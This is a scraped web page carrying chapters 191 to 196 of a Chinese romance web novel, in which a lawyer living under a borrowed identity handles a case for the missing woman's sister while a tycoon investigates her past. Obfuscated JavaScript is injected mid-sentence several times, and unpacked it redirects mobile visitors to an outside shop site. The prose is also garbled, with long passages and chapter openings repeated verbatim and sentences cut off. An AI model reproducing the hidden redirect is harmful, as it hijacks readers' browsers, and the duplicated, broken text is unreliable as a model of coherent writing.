“宋蔓已经找上门了,即便我想踏实住下去,也消停不了。” “那你想怎么办?孩子们刚转到新的幼儿园,总不能又要折腾吧?” 乔眠一脸愁容,“明天周六,我回沪城出差,见面再商量吧。” “出差?” 阮薇有些惊讶,“你前阵子不是说,新上任的主任只让你打杂吗?” “现在给了我一个新案子,当事人老家是沪城的,是乔眠的妹妹,乔安。” …… 第二天。 早上吃完饭,乔眠收拾了一个行李箱,领着孩子们坐地铁,去了机场。 办完登机手续,拿到登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔眠搂了搂阮院长,“阮院长,工作一直忙,没时间回来看您。” 语落,跟阮薇使了眼神。 第191章 她还真是敢 她去旁边的便利店买了一些吃的和水,刚一落座,手机响了。 是霍宴北打来的电话。 想到昨夜宋蔓找上门闹的一场,心里堵着一口气,不仅没有接电话,还直接把手机关机了。 那端。 霍宴北听到手机里传来提示对方关机的机械女声时,脸色变得极差。 这时,陈珂走进来汇报道,“霍总,刚刚查到,乔安的老家在沪城,家里只剩下一个爷爷,并没有其他姐妹。” “是吗……” 霍宴北皱眉,“那乔安和萧明城是什么关系?” “两人没有任何关系,甚至在之前的生活中没有交集。” 霍宴北听后,满眼疑惑,“萧明城会帮一个毫无干系的囚犯?而且绕了一个大圈子把乔眠牵扯到乔安的案子里,分明是另有所图。” 说到这里,又问,“阿妩用的乔眠这个身份是伪造的,还是确有其人?” 陈珂,“目前查出来的信息,和乔律师现在的身份信息完全一致,至于乔律师用的这个乔眠身份是伪造的,还是确有其人,还没查到,就像真正的乔眠不曾存在过一样。” 霍宴北听后,皱眉道,“不管是**信息,还是阿妩顶替了别人的身份,帮她的人,在沪城,是阿妩这六年很亲近的人。” “沪城最亲近的人……” 陈珂恍然,“那肯定是乔律师的闺蜜阮薇,她母亲就是沪城一家孤儿院的院长,乔律师在沪城的朋友圈很干净,唯一联系紧密的就是那家孤儿院,所以,帮乔律师顶替别人身份,或是伪造新身份的人,只可能是孤儿院院长,据说,那个孤儿院院长曾在政圈位置上待过,后来因为一些事情牵连,这才早早退下来,经营起了一家孤儿院,在沪城当地很有威望。” “所以,帮阿妩的,只可能是那位院长。” 说到这里,他扫了一眼手机,“去沪城。” “现在?” 霍宴北没有说话,拿起搭在椅背上的西装外套,搭在臂弯处,起身朝门外走去。 陈珂跟上去,“您突然去沪城,那……” 话到一半,手机响了。 霍宴北看了一眼屏幕,是蒋主任打来的。 他顿住脚步,按了接听键。 “霍总,今天周六,本不该打扰您的,但是,早上那会儿乔律师给我发微信,说要回一趟沪城,走访乔安的案子,跟我请假,我想来想去,觉得还是跟您……” 对方还没说完,霍宴北已经利落的掐了电话。 “查一下乔眠的飞机行程。” 几分钟后,陈珂收到消息,汇报道,“乔律师现在已经在飞机上了……” “带孩子一起去的?” “是的。” 霍宴北无奈又有些恼,“为了萧明城丢给她的案子,她倒是积极。” 想到萧明城,他眉眼一沉,“萧明城现在还在京市?” 五分钟后。 霍宴北坐进车里,陈珂查询后,战战兢兢的如实回道,“乔律师和萧明城一个航班,还都是头等舱,座位还是连号……” 霍宴北的脸一瞬间黑成了锅底,“她还真是不省心。” …… 头等舱内。 乔眠脸色清冷的扫了一眼身旁坐着的萧明城。 她该想到的,两人同在头等舱,座位是有可能挨着的。 而且,分明就是萧明城刻意安排的。 此刻,三个孩子们坐在前排,由萧明城的助理在一旁看顾。 别看是个男助理,却很会哄孩子们开心。 【乔律师,你回沪城是为了乔安的案子吧?】 乔眠本不想跟他沟通的,也觉得不是一个谈话的好时机。 加上她顶用的是他未婚妻的身份,心里多少有些心虚。 但是,萧明城显然是故意制造两人独处,直接打破了沉默。 乔眠喝了一口水后,点头应了一声。 【一起吧,乔安家里还有一个爷爷,正好我要去探望,顺便跟乔律师一起去一趟原告家属。】 乔眠刚想拒绝,萧明城打开手机,将一个男人的照片展示给她,【照片上的男人就是乔安的丈夫,我了解过,他家里那些亲属个个不是善茬,你一个人去走访,我不放心,而且我是当事人家属,无论是谈赔偿金,还是要谅解书,我在场,最合适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220259|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 对走访当事人这块的风险,乔眠深有体会。 有时候谈不拢,起冲突也是常有的事。 这次,是刑事案。 如果真如萧明城所言,乔安丈夫的亲属不好说话,她一个人确实不好应对。 况且,无论最后跟原告家属谈的赔偿金额是多少,总要萧明城这个当事人家属点头同意才行。 所以,她没有拒绝的道理。 乔眠思虑了几秒后,点头同意,【今天到沪城太晚了,明天吧。】 【好。】 萧明城温柔笑了笑,没再跟她搭话。 乔眠庆幸他没有像之前那样追问她是不是乔眠一事。 下了飞机后,萧明城提出要送她去酒店。 乔眠婉拒,【我朋友来接我。】 刚好,这时,阮薇从出口朝她招手,“眠眠!” 【萧总,我先走了。】 乔眠打完招呼后,领着孩子们朝阮薇走去。 【那个女人就是乔眠待过的那家孤儿院院长的女儿,阮薇。】 助理打手语说道。 萧明城点了下头,【我在乔眠留下的照片里见过她,还有她母亲阮院长。】 【既然回了沪城,那您要不要去孤儿院拜访一下那位院长?】 【不了,先不要惊扰到乔眠。】 …… 阮薇领着孩子们上车后,问道,“刚那个男人谁啊?挺帅的。” 乔眠附耳过去,“乔眠的未婚夫。” “……” 阮薇震惊的张口就要爆粗口,被乔眠捂住了嘴。 “嘘,回去再说,正好我还有事情要问问阮院长。” “神秘兮兮的。” 阮薇乐呵呵一笑,“我妈知道你回来了,可高兴了,做了你和孩子们最爱吃的菜呢。” 半个多少小时后。 孤儿院。 阮院长见到乔眠和孩子们,高兴的就像自己亲闺女回娘家一般高兴,“眠眠,几个月不见,也不想着回来看看,我实在太想你和孩子们了。” 乔眠搂了搂阮院长,“阮院长,工作一直忙,这才有机会回来,您别生气。” 语落,跟阮薇使了个眼色。 第192章 乔眠的过去 阮薇明白乔眠要要跟老妈聊事情,孩子在场不方便,所以把孩子们带到孤儿院的操场上找小朋友们玩去了。 阮院长也看出乔眠有话要问,拉着她坐下,轻轻握了握她的小手,“眠眠,你这次回来不单单是为了看我的吧?” 乔眠点了下头,“我这次回来是为了手头上的一个案子,需要走访当事人家属。” 说到这里,她有意停顿了一下,“当事人叫乔安。” 阮院长听后脸色微微一变,“你说谁?” “乔安。” 乔眠再次重复了一遍名字,同时,从阮院长表情中判断,是认识乔安的。 “阮院长,您是不是认识她?” “这个……” 阮院长没有回答,只是有些着急的询问,“乔安她出什么事了?” “因为过失**,现在被拘押在京市监狱。” “杀……**?” 阮院长震惊的唇色泛白,“乔安那么胆小老实的孩子,怎么会**?” “不不不,肯定是弄错了,乔安不可能会**。” 阮院长说着,情绪稍微有些激动,起身时,差点没站住。 乔眠急忙扶着她重新坐回去,倒了一杯水递到她手里,“阮院长,您别激动,现在我是乔安的委托律师,这个案子我很清楚,她的确**了……” “她杀了谁?” “她丈夫。” “那个赌鬼……”阮院长重重拍了一下桌子,“就是个畜生!” “阮院长,既然您认识乔安,那肯定知道乔眠曾经的事情,对不对?” “真是造孽啊。” 阮院长定定的看着乔眠数秒后,叹了一口气,“六年前,你用了乔眠的身份,现在却成了她妹妹乔安的委托律师,还真是因果循环啊。” 乔眠没有插话,静静地听阮院长继续讲述下去,“乔眠是当年我带出来的孤儿院那批孩子们中最懂事,也是最有出息的一个,也是我最看重的学生,她高三那年,找到了失散多年的亲生妹妹乔安,从那之后就离开了孤儿院,和妹妹生活在一起。” “从那之后,乔眠很少回孤儿院,逢年过节才会给我打个问候电话,后来,我也是从别人口中得知,她离开孤儿院后过得挺艰难的,虽然考上了大学,却还要勤工俭学,打各种零工养活妹妹,还要承担收养她妹妹乔安的那一家子生计。” 乔眠听到这里,不禁想起了自己的过去。 她和乔眠的来时路很像,都是孤儿。 庆幸的是,乔眠还有一个妹妹乔安。 而她,当年被养父母收养后,在那个家生活的那几年,至今每每想起,都是一场噩梦。 “后来呢?乔眠究竟发生了什么事情?为什么失踪?” 乔眠问。 阮院长起身,打开抽屉,从里面取出一本陈旧厚重的相册。 从最后一页的夹层里拿出了一张照片递给她,“其实,乔眠这孩子的性子跟你蛮像的,心里压着苦,藏着事,从来都是闷在心里,不肯说出来,所以,乔眠当年为什么失踪,我也不清楚。” “和之前告诉你的一样,有一次,乔眠突然给我打了一个电话,说是自己在东南亚,可能再也回不来了,让我帮忙照顾她妹妹乔安,从那之后,我就再也联系不上她了,我报了失踪,但是,好几年过去了,也没有任何消息,其实,我知道,她大概是已经不在这个世上了,因为最后那通电话,分明就是她的临终托付。” “从那之后,我时常去看望乔安,盼着她以后像她姐姐一样考上大学有出息,但是,那孩子也是命苦,高三就被家里逼着辍学了,我得知消息时,听她家里人说,她去了京市打工。” “那孩子踏实能干,靠自己攒钱开了一家美甲店,还谈了男朋友,早早就结婚了。” “后来,我听说,她那个丈夫是个赌鬼,常常对她又打又骂,我劝她离开那个男人,但是,乔安不肯离婚,还搬了家,我托人在京市四处打听,也没找到她。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220260|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说到这里,阮院长眼睛里已经含着热泪,又气又悔,“如果不是你今天回来提及乔安,我都不知道这孩子居然发生了这么大的事情,总归是我不好,没有照顾好乔安,乔眠若是地下有知,肯定会怪我的。” 阮院长情绪低落的拭起了眼泪。 乔眠安抚的轻轻搂了搂她,“您放心,乔安这个案子涉及家暴,正当防卫,还有回旋的余地,我会尽力帮她打无罪的。” 阮院长听后,情绪这才缓过来一些,“幸亏是你接了乔安的案子,眠眠,有你帮忙,我就放心了。” “我一定会尽全力。” 乔眠安静地沉默了数秒后,问道,“阮院长,您认识一个叫萧明城的人吗?” 阮院长认真思索了好一会儿,摇头道,“没听过,他是谁?” 乔眠:“他是乔眠的未婚夫,我之所以能够接到这个案子,就是他处心积虑安排的,他现在误以为我就是他的未婚妻乔眠,已经盯上我了。” “啊?这……” 阮院长眼底漫出一丝忧虑,“乔眠当年离开孤儿院后很少回来,每次打电话都是报喜不报忧,也极少谈论自己的个人感情问题,所以,我不知道她有未婚夫。” 说到这里,阮院长握了握乔眠的手,“你现在的身份信息是乔眠的,他自然认为你就是乔眠,如果他继续追着不放,你的身份早晚露馅,你预备怎么办?” 阮院长认真思索了好一会儿,摇头道,“没听过,他是谁?” 乔眠:“他是乔眠的未婚夫,我之所以能够接到这个案子,就是他处心积虑安排的,他现在误以为我就是他的未婚妻乔眠,已经盯上我了。” “啊?这……” 阮院长眼底漫出一丝忧虑,“乔眠当年离开孤儿院后很少回来,每次打电话都是报喜不报忧,也极少谈论自己的个人感情问题,所以,我不知道她有未婚夫。” 说到这里,阮院长握了握乔眠的手,“你现在的身份信息是乔眠。 第193章 霍宴北跟她摊牌 阮薇明白乔眠要要跟老妈聊事情,孩子在场不方便,所以把孩子们带到孤儿院的操场上找小朋友们玩去了。 阮院长也看出乔眠有话要问,拉着她坐下,轻轻握了握她的小手,“眠眠,你这次回来不单单是为了看我的吧?” 乔眠点了下头,“我这次回来是为了手头上的一个案子,需要走访当事人家属。” 说到这里,她有意停顿了一下,“当事人叫乔安。” 阮院长听后脸色微微一变,“你说谁?” “乔安。” 乔眠再次重复了一遍名字,同时,从阮院长表情中判断,是认识乔安的。 “阮院长,您是不是认识她?” “这个……” 阮院长没有回答,只是有些着急的询问,“乔安她出什么事了?” “因为过失**,现在被拘押在京市监狱。” “杀……**?” 阮院长震惊的唇色泛白,“乔安那么胆小老实的孩子,怎么会**?” “不不不,肯定是弄错了,乔安不可能会**。” 阮院长说着,情绪稍微有些激动,起身时,差点没站住。 乔眠急忙扶着她重新坐回去,倒了一杯水递到她手里,“阮院长,您别激动,现在我是乔安的委托律师,这个案子我很清楚,她的确**了……” “她杀了谁?” “她丈夫。” “那个赌鬼……”阮院长重重拍了一下桌子,“就是个畜生!” “阮院长,既然您认识乔安,那肯定知道乔眠曾经的事情,对不对?” “真是造孽啊。” 阮院长定定的看着乔眠数秒后,叹了一口气,“六年前,你用了乔眠的身份,现在却成了她妹妹乔安的委托律师,还真是因果循环啊。” 乔眠没有插话,静静地听阮院长继续讲述下去,“乔眠是当年我带出来的孤儿院那批孩子们中最懂事,也是最有出息的一个,也是我最看重的学生,她高三那年,找到了失散多年的亲生妹妹乔安,从那之后就离开了孤儿院,和妹妹生活在一起。” “从那之后,乔眠很少回孤儿院,逢年过节才会给我打个问候电话,后来,我也是从别人口中得知,她离开孤儿院后过得挺艰难的,虽然考上了大学,却还要勤工俭学,打各种零工养活妹妹,还要承担收养她妹妹乔安的那一家子生计。” 乔眠听到这里,不禁想起了自己的过去。 她和乔眠的来时路很像,都是孤儿。 庆幸的是,乔眠还有一个妹妹乔安。 而她,当年被养父母收养后,在那个家生活的那几年,至今每每想起,都是一场噩梦。 “后来呢?乔眠究竟发生了什么事情?为什么失踪?” 乔眠问。 阮院长起身,打开抽屉,从里面取出一本陈旧厚重的相册。 从最后一页的夹层里拿出了一张照片递给她,“其实,乔眠这孩子的性子跟你蛮像的,心里压着苦,藏着事,从来都是闷在心里,不肯说出来,所以,乔眠当年为什么失踪,我也不清楚。” “和之前告诉你的一样,有一次,乔眠突然给我打了一个电话,说是自己在东南亚,可能再也回不来了,让我帮忙照顾她妹妹乔安,从那之后,我就再也联系不上她了,我报了失踪,但是,好几年过去了,也没有任何消息,其实,我知道,她大概是已经不在这个世上了,因为最后那通电话,分明就是她的临终托付。” “从那之后,我时常去看望乔安,盼着她以后像她姐姐一样考上大学有出息,但是,那孩子也是命苦,高三就被家里逼着辍学了,我得知消息时,听她家里人说,她去了京市打工。” “那孩子踏实能干,靠自己攒钱开了一家美甲店,还谈了男朋友,早早就结婚了。” “后来,我听说,她那个丈夫是个赌鬼,常常对她又打又骂,我劝她离开那个男人,但是,乔安不肯离婚,还搬了家,我托人在京市四处打听,也没找到她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223591|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>说到这里,阮院长眼睛里已经含着热泪,又气又悔,“如果不是你今天回来提及乔安,我都不知道这孩子居然发生了这么大的事情,总归是我不好,没有照顾好乔安,乔眠若是地下有知,肯定会怪我的。” 阮院长情绪低落的拭起了眼泪。 乔眠安抚的轻轻搂了搂她,“您放心,乔安这个案子涉及家暴,正当防卫,还有回旋的余地,我会尽力帮她打无罪的。” 阮院长听后,情绪这才缓过来一些,“幸亏是你接了乔安的案子,眠眠,有你帮忙,我就放心了。” “我一定会尽全力。” 乔眠安静地沉默了数秒后,问道,“阮院长,您认识一个叫萧明城的人吗?” 阮院长认真思索了好一会儿,摇头道,“没听过,他是谁?” 乔眠:“他是乔眠的未婚夫,我之所以能够接到这个案子,就是他处心积虑安排的,他现在误以为我就是他的未婚妻乔眠,已经盯上我了。” “啊?这……” 阮院长眼底漫出一丝忧虑,“乔眠当年离开孤儿院后很少回来,每次打电话都是报喜不报忧,也极少谈论自己的个人感情问题,所以,我不知道她有未婚夫。” 说到这里,阮院长握了握乔眠的手,“你现在的身份信息是乔眠的,他自然认为你就是乔眠,如果他继续追着不放,你的身份早晚露馅,你预备怎么办?” 阮院长认真思索了好一会儿,摇头道,“没听过,他是谁?” 乔眠:“他是乔眠的未婚夫,我之所以能够接到这个案子,就是他处心积虑安排的,他现在误以为我就是他的未婚妻乔眠,已经盯上我了。” “啊?这……” 阮院长眼底漫出一丝忧虑,“乔眠当年离开孤儿院后很少回来,每次打电话都是报喜不报忧,也极少谈论自己的个人感情问题,所以,我不知道她有未婚夫。” 说到这里,阮院长握了握乔眠的手,“你现在的身份信息。 第194章 看紧她 霍宴北脱下外套披在她肩上,温凉的手指挑起她的下巴,“和萧明城一起?” 乔眠错愕的皱起眉头,“霍总还真是有通天的本事,什么都知道。” “谁让你总是招男人,不看紧点,怎么成?” 说着,男人逼近她,低头,在她唇上轻轻亲了一下。 深冬的夜很冷,乔眠却觉得脸颊像是被火燎了一下,烫烫的。 先前冰冷的语气也在不经意间弱了几分,解释道,“我走访原告家属谈赔偿金,争取谅解书,萧明城作为当事人家属,他应该在场,毕竟,他出钱。” “所以……” 霍宴北顿了一下,轻抚着她泛红的脸颊,“你们早就商量好的一起来沪城的?” “不是,我是在机场遇到他的。” “是吗?” 霍宴北探究的眼神盯着她几秒后,似乎在确认她有没有撒谎。 他的不信任和猜忌,让乔眠刚刚温热起来的脸色,逐渐冷了下来,“爱信不信,我说的是实话。” 说罢,转身就走,却被他拽住胳膊又扯了回去,“别恼,我信还不行?” 语气带着一丝哄的意思,可她知道,他根本不信她。 她也懒得再解释。 况且,她没有义务去解释。 “你来沪城做什么?” 乔眠挣开他的钳制,问道。 霍宴北身体贴了过来,伸手揽住她的腰,将人扣在怀里,嗓音性感又好听,“陪你。” 他说话时,刻意将脸贴了过来,滚热的呼吸烫在她耳边,乔眠只觉得一阵酥麻,脸颊再次腾一下红了。 “我不需要你陪……” 此时,两人拥在一起,姿势暧昧又亲密,这让乔眠不由得想起宋蔓之前对她的警告。 正好,借着这个机会,跟他谈谈。 她心里也明白,霍宴北来沪城,不可能是单单陪她的。 况且,他不仅知道萧明城来了沪城,他还直接找到了孤儿院。 说明,他一直在暗中调查她。 “霍宴北,我们谈谈。” “好。” 霍宴北望了一眼身后的孤儿院大门,“正好,我很好奇你以前生活的地方是什么样子,带我进去转转。” 似是预判到她会拒绝,没等她回答,男人紧接着又说了一句,“如果不方便的话,那就去我住的酒店聊。” “不必了。” 跟他去酒店,保不齐他会对他做出什么不可控的事情。 反正晚上,除了门口的保安大爷执班,孤儿院里的孩子和老师们都睡下了,也遇不到人,所以,乔眠就领着他进了孤儿院。 孤儿院的规模,和一座小学差不多大,只有两栋大楼和一个操场。 带着他转了一圈后,乔眠领着他去了二楼的阅览室。 开灯后,霍宴北环视着简陋却干净温馨的房间,随手拿起一本故事书,翻了一页,“怎么没有空调?” 乔眠将一个落地电热扇插上,调高温度后,伸手拽走他手里的书,放回原位,“霍总,这是福利性质的孤儿院,不是酒店,如果不是每年阮院长自己贴钱,拉慈善募捐,孤儿院也维持不到今天,孤儿院每年都会收容许多孩子,资金很有限。” 她随口说完后,才意识到跑题了,正准备换一个话题时,霍宴北问了一句,“这六年,你都在这里生活吗?” “嗯,这里对我来说,就是我的家。” 这句话,乔眠是脱口而出的。 但很快敏感的觉察出这个问题有些怪怪的,紧忙补充了一句,“不止六年,我从小就在孤儿院长大的。” 她现在用的是乔眠的身份,乔眠就是这家孤儿院长大的。 差点露馅。 她觉得,他是不是刻意问的这个问题。 霍宴北看着她极力掩饰找补的惊慌小模样,心里很不是滋味。 她就那么不愿意跟他相认吗? 此刻,他很想跟她摊牌,他已经知道她就是阿妩,但他不敢。 怕惊扰到她,怕她再次逃跑。 现在并不是一个好时机。 况且,她和萧明城之间隐藏的秘密,他还没有弄清楚。 他拉开一把椅子坐下,面前的电热扇吹出来的热气拂过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223592|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体,烫烫的。 他将椅子往后拉了一些,伸手扣住乔眠的手腕,让她挨着他坐下,“这六年,你过得好不好?” 他依旧着重强调了‘这六年’三个字。 乔眠捉摸不透他心里在想什么,此刻,他脸上露出的表情很是深沉难测。 乔眠心里有一丝小慌乱,闷闷的回了一句,“去京市之前,我在这里过得很平静,很安心。” 这句话,很明显意有所指。 霍宴北淡淡扯了下唇角,“去京市后,遇到了我,所以,过得不开心了吗?” 乔眠抬起清澈水润的眼睛,目光很坦诚:“是的,自从遇到霍总后,我的生活没有一天是安宁的。” 话中有不满,还有怨念。 她坦诚的让霍宴北有一种深深的挫败感。 “乔眠,你是说,我严重打扰了你的生活吗?” “难道不是吗?” 乔眠转过头,望向窗外浓稠到化不开的夜色,心情很沉,“你一次次逼我,威胁我,甚至我连辞职都无法作主。” 说到这里,她停顿了一下,话锋一转,“我租的那套公寓是你买下的,又转到我名下的是不是?” 霍宴北眼底划过一丝错愕,显然没料到她居然知道了。 “谁告诉你的?” 他没有否认,而是蹙着眉质问。 乔眠没有回答,又问,“孩子上幼儿园一事,也是你帮忙的,是不是?” “周津南告诉你的?” 他答非所问,还把战火引到了别人身上。 乔眠神情有些不耐,还有不悦,“是不是?” “是。” 霍宴北见她有些动气,不想跟她对峙下去,坦然承认。 轻握着她的小手,解释道,“乔眠,我只是想帮你,不愿你过得太辛苦。” 听到他亲口承认后,乔眠心里有一种说不出来酸涩情绪。 “霍总,这还不叫打扰吗?你的好意,只会给我造成困扰。” 说到此处,不禁苦笑着揶揄了一句,“你就不担心宋蔓知道?” “我为什么要担心她知道?” 第195章 自爆身份 霍宴北气笑了。 好像觉的这个问题很可笑。 同时,也察觉出什么,“宋蔓找过你?” 乔眠抿唇不语,默认了。 霍宴北拧了一下眉,“我和她不是夫妻关系,只是利益上的合作关系,她管不到我头上,所以,无论她对你说了什么,都不要放在心上。” 说到这里,男人掰过她瘦薄的肩,一脸认真的说,“她找你这件事,你应该早点告诉我。” “告诉你,你会怎么做?” 六年前,在他和宋蔓的订婚现场,她被指责剪碎了宋蔓的礼服时。 宋蔓和她对峙时,霍宴北连问都没问,无条件站在了宋蔓那边,还当着众人的面打了她一巴掌。 所以,在她看来,宋蔓上门宣示****,即便她告诉了霍宴北,也并不觉得他会替她出头。 他刚才还说过,和宋蔓是利益关系。 如果她和宋蔓发生冲突,他又怎会帮她? “你可以不信我,但是,乔眠,我想告诉你的是,即便是宋蔓,她若敢伤害你,我也不会纵容。” 霍宴北铿锵有力的话传入耳中,乔眠怔了一下后,旋即一笑而过。 “她找你,具体说了什么?” 霍宴北问道。 “原配找情人……” “你不是。” 男人强势打断她的话后,又觉得语气重了些,轻声道,“抱歉,这件事我会处理的,以后绝对不会让她再来打扰你。” 乔眠没有接话,转到另一个话题,“幼儿园的事情,谢谢霍总,但是,那套公寓,我要不起,等回到京市以后,我会尽快搬出去的。” “真够倔强的。” 霍宴北无奈的叹气,抬手揽过她的肩膀,“如果你觉得接受我的好意让你觉得是一种困扰的话,那……每个月按之前的房租,继续给我房租,总比你再找房子强,万一找到的房子离幼儿园太远,反而不方便。” 乔眠认真思考了他的提议,虽然不情愿,但她明白,这是对她最有利的解决办法。 而且,再找房子,又是一笔钱。 她确实折腾不起了。 “按市场价给你房租。” 分析利弊后,乔眠做出决定。 霍宴北心里漫过一丝无法言说的苦闷,“行,你高兴就好。” 她总是处处在跟他划清关系。 如果不是之前威胁她,她早就辞职跑没影了。 达成一致后,乔眠心里总算松快一些,“幼儿园的事情,当我欠你的。” “既然欠我,是不是得偿还?” “什么……” 乔眠还未反应过来时,男人忽然抱起她,将她放在桌子上,一只手扣住她的后脑勺,另一只手臂托住她的身体,高大的身体压下来,吻住了她的唇。 乔眠刚一挣扎,耳边传来男人低哑的嗓音,“乖一点,就当偿还了。” 乔眠攥着他衣领的手指根根抠紧,最后,落在他肩背上。 指尖隔着衣服,一点点陷进去。 好在他还有一丝廉耻,顾忌着这是孤儿院,没有做到那一步,吻了许久,他才餍足未满的松开她一些,“你晚上睡哪儿?” 乔眠怎么不懂他的意图? 平复好呼吸后,推他,“你回酒店……” 男人搂紧她,说的很直白,“我想跟你一起睡。” “不行。” 这一次,乔眠用了力气,推开了他,“阮薇和孩子在我房间,你快回去吧。” “太晚了,不想开车回去。” 男人看了一眼腕表,“你房间被占了,那你睡哪儿?” 乔眠为了赶他走,指了下桌子,“睡这里。” “好。” 霍宴北调整了一个坐姿,单手撑着俊美的脸,撩起眼皮看着她,“我陪你。” “疯子,好好的酒店不住,非得睡这里?” “你这么不听话,不疯才怪。” 他淡笑了一下,单臂放平,脑袋放在上面,伸手一揽,乔眠歪靠在他肩上,“不睡是还想继续?” 乔眠慌张的换了一个坐姿,趴在桌子上,脸朝窗外,闭上了眼睛。 实则,阅览室有些冷,她根本睡不着。 但架不住今天又是早起,又是赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228336|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞机,实在太困,也或许是紧靠着他身体的缘故,他身体的滚热温度一点点传了过来。 没一会儿,体温飙升,很快就真的睡着了。 只是,她不知道的是,在她睡着时,霍宴北出了阅览室,径直朝院长办公室走去。 到门口时,打了一个电话。 没多久,半夜起来的阮院长赶到了办公室。 望着眼前陌生却有几分熟悉的冷峻男人,阮院长打开门,语气不太好,“霍先生深夜找过来,如果是来找乔眠的话,她……” “我刚见过她。” 霍宴北淡声打断他,跟着她进入办公室后,寻了一个单人沙发坐下。 原本阮院长还想找个理由打发他走,听到他这么说后,怔了一下,“既然你见过她了,那大半夜来见我做什么?” 阮院长对他充满了戒备和反感。 在她心里,已经把霍宴北和她那丈夫化为一类人,都是渣男。 她甚至觉得,霍妩比她还命苦。 当年,遇到霍妩时,她那么小,怀着孕,无依无靠的。 如果不是阮薇救了她,把她带回孤儿院,真不敢想象那时候的霍妩怎么生存下去。 所以,此刻,阮院长对霍宴北的不满和厌恶都写在脸上,“我听说霍先生已经结婚生子了,又何必非得招惹乔眠呢?她在京市生活的不开心,霍先生却不肯放开她,到底是什么意思?” “我只是想留她在身边。” 说着,霍宴北缓缓起身,郑重的朝阮院长鞠了一躬,“这六年,幸而有您照顾阿妩,我特别感激您。” 阮院长震惊的抠紧了沙发扶手,脸上的肌肉抽动了一下,“什么阿妩?我不认识。霍先生,你在说什么胡话?” 她万万没想到霍宴北会直接提起霍妩。 看他那笃定坚毅的目光和表情,好像不是故意拿话诈她的。 应该已经知道了乔眠就是曾经的霍妩。 可是,他是怎么知道的? 既然知道了,又为何跑到她面前自爆? 短短数秒中,阮院长想了许多种可能性。 第196章 远离她的生活 短短数秒中,阮院长想了许多种可能性。 “我只是想留她在身边。”说着,霍宴北起身,郑重地朝阮院长鞠了一躬,“这六年,幸而有您照顾阿妩,我特别感激您。” 阮院长放在沙发扶手上的手微微颤了一下,“什么阿妩,我不认识,霍先生,你在什么胡话?” 她没想到霍宴北已经知道了乔眠的**。 看他笃定坚毅的眼神和表情,不像是故意拿话诈她的。 也不知道他是怎么查出来的。 短短数秒,一向明睿的阮院长,有些不淡定了。 紧接着,听到霍宴北下面的话,直接让她慌了神。 “阮院长,乔眠就是霍妩,我已经确定过了,我来找您,是想向您打听一下,萧明城和真正的乔眠是什么关系?” “还有,乔安是不是乔眠的妹妹?” 接连两个问题,并不是问乔眠是不是霍妩,看来,他真的已经确定过,乔眠就是霍妩。 想到乔眠这六年以来受过的苦,以及一心想要避开霍宴北的决心,阮院长装作一副没听懂的样子,语气很不好,“霍先生,什么真正的乔眠,还有乔安,萧明城,这些个人,我统统不认识,乔眠就是我看着长大的,她除了是乔眠,不是任何人。”阮院长的所有反应,霍宴北并不意外。 而且,对他敌意很大。 